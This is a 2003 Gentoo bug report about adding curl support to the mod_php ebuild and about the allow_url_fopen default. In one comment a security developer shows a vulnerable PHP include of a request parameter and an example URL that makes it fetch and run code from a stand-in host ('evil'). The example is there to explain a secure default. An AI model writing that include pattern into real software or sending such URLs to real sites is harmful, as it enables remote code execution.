Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 29672 - curl support for mod_php
Summary: curl support for mod_php
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: All Linux
: High enhancement
Assignee: PHP Bugs
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2003-09-26 06:17 UTC by Niek van der Maas
Modified: 2003-09-26 17:02 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments
patch for curl support in moh_php ebuild (mod_php_curl.patch,347 bytes, patch)
2003-09-26 06:19 UTC, Niek van der Maas
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Niek van der Maas 2003-09-26 06:17:59 UTC
Hi, here's a small patch to enable curl support in mod_php. The curl functions in PHP are very usefull to "emulate" a webbrowser w/ cookie/http/ssl support etc.
BTW, please re-enable "allow_url_fopen" in php.ini. It's totally useless to disable this by default for "security reasons". If a user really want to abuse the system, he can use fsockopen() instead of fopen().

Reproducible: Always
Steps to Reproduce:
Comment 1 Niek van der Maas 2003-09-26 06:19:51 UTC
Created attachment 18361 [details, diff]
patch for curl support in moh_php ebuild
Comment 2 Robin Johnson archtester Gentoo Infrastructure gentoo-dev Security 2003-09-26 17:01:11 UTC
PHP and mod_php already have curl support (USE=curl), inside the PHP eclass.
I've added the --with-curlwrappers option.

the allow_url_fopen security fix exists so stop people writing insecure code.
eg
foo.php contains:
include $_REQUEST['file'];

and the person uses it like:
http://host/foo.php?file=next.php

this is exploitable as:
http://host/foo.php?file=http://evil/hack.txt

PHP then runs hack.txt.

Perl has taint checks to stop this, but PHP doesn't.

If you really don't like it, just change your php.ini.
I'm informed that PHP may be shipping it's default configuration with allow_url_fopen
disabled in future.
Comment 3 Robin Johnson archtester Gentoo Infrastructure gentoo-dev Security 2003-09-26 17:01:55 UTC
re-opening to assign to php-bugs.
Comment 4 Robin Johnson archtester Gentoo Infrastructure gentoo-dev Security 2003-09-26 17:02:19 UTC
closing properly